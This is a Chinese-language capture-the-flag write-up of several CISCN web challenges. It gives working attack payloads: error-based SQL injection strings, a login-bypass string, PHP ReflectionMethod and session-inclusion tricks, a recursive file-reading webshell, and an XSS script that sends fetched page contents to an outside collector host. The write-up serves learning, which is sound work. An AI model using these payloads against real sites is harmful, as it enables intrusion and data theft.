Background
跟着Birkenwald打了CISCN,也是人生中第一次有名额的国赛,记录下几道题
easysql
burp 测试了下
ban掉的东西很少,
union 和一些常见的列名,想起了LCTF2017题目里面的一道题报错无列名注入获得列名
参考了链接:https://www.secpulse.com/archives/65812.html
我算取巧了,上来就尝试flag表,构造闭合
' and((select flag from flag)) and '
存在flag表没有flag列
存在flag表 没有flag列而已,直接join无列名注入
' and ((select * from (select * from flag a join flag b using (no,id))c)) and '
报错读flag
'and extractValue(1,(select f05b5eb1-d700-490c-80b3-f994cd858209 from flag)) and '
二血二血
easy_source
简单测试下目录
发现.index.php.swo
发现源码
本题目没有其他代码了噢,就只有这一个文件,虽然你看到的不完全,但是你觉得我会把flag藏在哪里呢,仔细想想文件里面还有什么?
<?php
class User
{
private static $c = 0;
function a()
{
return ++self::$c;
}
function b()
{
return ++self::$c;
}
function c()
{
return ++self::$c;
}
function d()
{
return ++self::$c;
}
function e()
{
return ++self::$c;
}
function f()
{
return ++self::$c;
}
function g()
{
return ++self::$c;
}
function h()
{
return ++self::$c;
}
function i()
{
return ++self::$c;
}
function j()
{
return ++self::$c;
}
function k()
{
return ++self::$c;
}
function l()
{
return ++self::$c;
}
function m()
{
return ++self::$c;
}
function n()
{
return ++self::$c;
}
function o()
{
return ++self::$c;
}
function p()
{
return ++self::$c;
}
function q()
{
return ++self::$c;
}
function r()
{
return ++self::$c;
}
function s()
{
return ++self::$c;
}
function t()
{
return ++self::$c;
}
}
$rc=$_GET["rc"];
$rb=$_GET["rb"];
$ra=$_GET["ra"];
$rd=$_GET["rd"];
$method= new $rc($ra, $rb);
var_dump($method->$rd());
代码里这个User类并没有什么东西,提示我们要注意文件里面还有什么,我一开始想 不会还有东西是不显示的吧 后来发现并没有,实例的类可用 基本确定我们是用内置类来进行操作
php内置类里的 ReflectionMethod 来读取东西
读什么是关键,想了想就在文件里面,想能不能读取注释呢
构造payload
payload:index.php?rc=ReflectionMethod&ra=User&rb=q&rd=getDocComment
注释
那就burp 暴力破解下,直接遍历函数看看里面的注释
最后在q里面成功找到
踩坑: 当时想的是读内部文件,构造payload总失败,然后就是想当然去读flag.php完全没看题意,我的问题
middle_source
做吐了的一道题,一开始就盯着源码硬dui,后来才发现又个/.listing
打开是个phpinfo
给了phpinfo+文件包含位点 基本上就是session包含
p神的脚本一下子就找到了
https://github.com/vulhub/vulhub/blob/master/php/inclusion/exp.py
然后吐了写了半天shell 怎么也没写进去,然后就懵了,后来仔细翻了phpinfo
直接ban掉了,那我就只能自己读文件了,
直接写入
<?php print_r('glob /etc/*');?>
打出一堆文件
这个也是我的锅,我第一反应是学习一下这些都是什么意思,然后不断浪费自己时间之后,发现
这个太垃圾的随机字符串了
在第八个
读的时候发现有好多目录
于是就随便写个啥东西直接递归读
<?php function digui($a=""){foreach(glob($a.'/*') as $file){if (is_dir($file)) {print_r($file."fuck...\n");digui($file);}else{print_r(file_get_contents($f));}}}digui('/etc/bdfdheaedh'); ?>
然后get flag
upload(未做出)
这题我本地打通过一次,然后就再也打不出来了,远程也是不通,我吐了
压缩包死活不行,后来说只有360压缩文件之后头不坏?你他妈的,我把你马杀了
https://paper.seebug.org/papers/Archive/drops2/php%20imagecreatefrom.%20%E7%B3%BB%E5%88%97%E5%87%BD%E6%95%B0%E4%B9%8B%20png.html
然后用这两个函数写马
imagecreatefrompng和imagepng
一开始unicode欺骗 在unicode大全随便找个i用
没扫目录,扫目录底下有个/example.php
有个解压的文件,就是写马解压了
后来其他师傅跟我说
#define 不能写在post流里 我直接吐了好吧
摸鱼的题目
登录框 无提示 万能密码
'or '1='1
登录上去后发现有写note和link
xss 多明显家人们,但是cookies 有httponly
最后我直接csrf做的
收到数据就好
var xhttp = new XMLHttpRequest();
xhttp.onreadystatechange = function() {
if (this.readyState == 4 && this.status == 200) {
window.location = "https://hookbin/?a="+encodeURIComponent(this.responseText);
}
};
xhttp.open("GET", "http://politenotepad.zajebistyc.tf/", true);
xhttp.withCredentials = true;
xhttp.send();
摸完发现 哦大家都做出来了 不愧是废物的我
后记
还是菜,审计能力差,最近还是得补一下开发的能力,然后就是web这回其实难度挺好的,包括这个静态分数 就是这个脑瘫赛制,感觉回到了高考 360 我他妈要的是青春的回忆,你他妈直接给我放青春终点坟墓? 加个题外话,writeups就是要把自己的思路和踩坑都放出来,不是上来就放脚本, 最后补一句 1cepeak太强了,也很好喝 Tr0jan星哥太强了 肝帝 pwn爷爷太强了 很喜欢他的那句 靶机用完了你用吧 我占着靶机还是没打出来upload 呜呜呜 哦对 360真sb